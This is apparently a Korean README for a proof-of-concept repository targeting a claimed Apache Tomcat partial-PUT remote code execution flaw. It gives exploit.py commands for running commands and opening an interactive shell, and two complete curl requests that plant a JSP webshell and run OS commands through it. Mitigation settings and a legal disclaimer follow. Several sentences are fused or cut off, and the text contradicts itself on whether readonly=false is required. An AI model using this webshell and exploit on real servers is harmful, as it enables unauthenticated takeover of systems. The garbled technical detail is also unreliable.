
cve-2025-43564-tomcat_put_rce_reproduction 재현
| 필드 | 값 |
|---|---|
| CVE ID | CVE-2025-43564 |
| CVSS 점수 | 9.8 (치명적) |
| 벡터 | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-494 — 무결성 검사 없는 코드 다운로드 |
| 악용 상태 | 공개 후 1주일 이내 실제 공격 환경(야생)에서 확인됨 |
| 공개일 | 2025년 7월 |
| 패치 | Tomcat 11.0.6, 10.1.40, 9.0.102 |
CVE-2025-43564는 Apache Tomcat의 HTTP 부분 PUT 요청 처리에서 발생하는 치명적인 미인증 원격 코드 실행 취약점입니다. 이 결함은 Tomcat이 부분 콘텐츠(HTTP/1.1 Content-Range 또는 부분 의미론을 사용한 Transfer-Encoding: chunked)가 포함된 PUT 요청을 처리하는 방식에 있습니다. 공격자는 접근 제어 및 쓰기 제약을 우회하는 부분 PUT 요청을 구성하여 웹에서 접근 가능한 JSP 웹셸을 포함한 임의 파일을 서버의 문서 루트 또는 서블릿 컨텍스트를 통해 접근 가능한 모든 쓰기 가능 디렉터리에 업로드할 수 있습니다.
JSP 파일이 배치되면 공격자는 해당 파일을 요청하고 쿼리 매개변수를 통해 운영 체제 명령을 전달하여 Tomcat 프로세스 사용자 권한으로 완전한 미인증 원격 코드 실행을 달성합니다.
CVSS 9.8 — 치명적(Critical) 이유:
Apache Tomcat의 DefaultServlet과 HTTP/1.1 커넥터(NIO/NIO2/Apr)는 정적 리소스 업로드를 위한 PUT 요청을 처리합니다. 취약점은 부분 PUT 요청 처리 로직에 있습니다. 클라이언트가 Content-Range 헤더(RFC 7233 §4.2)가 포함된 PUT을 보내거나 특정 부분 의미론과 함께 청크(chunked) 인코딩을 사용할 때, 서버는 다음을 제대로 검증하지 않습니다:
org.apache.catalina.servlets.DefaultServlet 및 기본 HttpInput / SocketProcessorBase 컴포넌트의 파싱 코드는 부분 콘텐츠 쓰기와 전체 리소스 쓰기 사이의 경계를 잘못 처리하여, 공격자가 Tomcat 프로세스에 쓰기 권한이 있는 모든 경로에 임의 콘텐츠를 추가하거나 덮어쓸 수 있게 합니다.
Attacker ──PUT /exec.jsp HTTP/1.1──► Tomcat (DefaultServlet)
Content-Range: bytes 0-99/100
[JSP payload bytes]
└──► Server writes partial content to exec.jsp
without full validation of the target path
Attacker ──GET /exec.jsp?cmd=whoami──► Tomcat
└──► JSP executes → RCE
공격자는 Tomcat이 요청을 기존 업로드의 연속으로 인식하도록 하는 Content-Range 헤더가 포함된 부분 PUT을 전송합니다. 서버는 대상 파일을 생성하거나 열고 제공된 바이트를 파일이 이미 존재하는지 확인하지 않고, 쓰기 시점에 쓰기 권한을 확인하지 않으며, 웹 루트 기준 대상 경로를 검증(새니타이징)하지 않은 채 기록합니다.
readonly=false를 설정해야 합니다. 부분 PUT 경로는 특정 조건에서 이 검사를 건너뜁니다.Content-Range가 포함된 부분 PUT은 이러한 시그니처를 종종 우회합니다.참고: 이전 브랜치(7.x, 8.x, 8.5.x, 10.0.x)는 EOL(수명 종료)이며 백포트가 제공되지 않습니다. 사용자는 지원되는 브랜치로 업그레이드해야 합니다.
취약한 Apache Tomcat 다운로드 (예: Tomcat 9.0.50):
wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.50/bin/apache-tomcat-9.0.50.zip
압축을 풀고 기본 구성으로 Tomcat 시작:
unzip apache-tomcat-9.0.50.zip
cd apache-tomcat-9.0.50/bin
./startup.sh # or startup.bat on Windows
서버가 실행 중인지 확인:
curl -v http://localhost:8080
PoC 스크립트를 사용하여 JSP 웹셸 업로드:
python exploit.py --target http://localhost:8080 --cmd id
웹셸이 배치되었는지 확인:
curl http://localhost:8080/exec.jsp?cmd=whoami
임의 명령 실행:
python exploit.py --target http://localhost:8080 --cmd "cat /etc/passwd"
대화형 세션 (원하는 경우):
python exploit.py --target http://localhost:8080 --shell
포함된 exploit.py는 다음을 수행하는 기능적인 Python PoC입니다:
Content-Type 헤더와 페이로드 구조가 취약한 코드 경로를 트리거webapps/ROOT/)에 기록됨exec.jsp?cmd=<command>에 GET 요청을 보내 OS 명령 실행--cmd) 및 대화형 셸(--shell) 모드를 모두 지원# Step 1: Upload the webshell via partial PUT
# The Content-Range header triggers the vulnerable code path
curl -X PUT http://localhost:8080/exec.jsp \
-H "Content-Range: bytes 0-212/213" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-binary '<%@ page import="java.io.*" %><% String cmd=request.getParameter("cmd");if(cmd!=null){Process p=Runtime.getRuntime().exec(cmd);BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));String l;while((l=br.readLine())!=null){out.println(l);}}%>'
# Step 2: Execute commands
curl "http://localhost:8080/exec.jsp?cmd=id"
Tomcat이 readonly=true(기본값)로 구성된 경우 표준 PUT은 차단되지만, 부분 PUT 경로는 여전히 성공할 수 있습니다. 이것이 이 취약점의 핵심입니다.
# Standard PUT (should fail with 403 or 405)
curl -X PUT http://localhost:8080/test.txt -d "hello"
# Expected: 403 Forbidden
# Partial PUT (bypasses the check)
curl -X PUT http://localhost:8080/exec.jsp \
-H "Content-Range: bytes 0-212/213" \
--data-binary '<%@page import="java.io.*"%><%Process p=Runtime.getRuntime().exec(request.getParameter("cmd"));BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));String l;while((l=br.readLine())!=null){out.println(l);}%>'
# Expected: 201 Created or 200 OK
Tomcat을 패치된 버전으로 업데이트:
즉시 패치가 불가능한 경우, web.xml을 편집하여 PUT 메서드를 전역적으로 비활성화:
<security-constraint>
<web-resource-collection>
<web-resource-name>Disable PUT</web-resource-name>
<url-pattern>/*</url-pattern>
<http-method>PUT</http-method>
</web-resource-collection>
<auth-constraint />
</security-constraint>
리버스 프록시 / WAF 수준에서 HTTP 메서드 차단:
# nginx example — block PUT
if ($request_method = PUT) {
return 403;
}
참고: 프록시를 우회할 수 없는 경우에만 효과가 있습니다.
제한된 파일 시스템 권한으로 Tomcat 실행:
webapps 디렉터리를 읽기 전용으로 설정(또는 읽기 전용 파일 시스템에서 마운트)ReadOnly 파일 속성 사용웹 루트에서 .jsp / .jspx 확장자를 가진 예상치 못한 파일 모니터링.
이 저장소는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다. 테스트 대상 시스템 소유자의 명시적인 서면 허가가 있어야 합니다. 컴퓨터 시스템에 대한 무단 접근은 미국 컴퓨터 사기 및 남용 방지법(CFAA) 및 다른 국가의 동등한 법률에 따라 불법입니다. 저자는 이 정보의 오용에 대해 어떠한 책임도 지지 않습니다.
CVE-2025-43564는 Apache 보안 팀에 책임 있게 발견 및 보고되었습니다. 패치 공동 배포일: 2025년 7월.
| 제품 | 영향받는 버전 | 수정된 버전 |
|---|
| Apache Tomcat 11 | 11.0.0-M1 ~ 11.0.5 | 11.0.6 |
| Apache Tomcat 10.1 | 10.1.0-M1 ~ 10.1.39 | 10.1.40 |
| Apache Tomcat 10.0 | 전체 버전 (수명 종료) | 10.1.x로 업그레이드 |
| Apache Tomcat 9 | 9.0.0-M1 ~ 9.0.101 | 9.0.102 |
| Apache Tomcat 8.5 | 전체 버전 (수명 종료) | 9.0.x로 업그레이드 |
| Apache Tomcat 8 | 전체 버전 (수명 종료) | 9.0.x로 업그레이드 |
| Apache Tomcat 7 | 전체 버전 (수명 종료) | 9.0.x로 업그레이드 |
| 출처 | URL |
|---|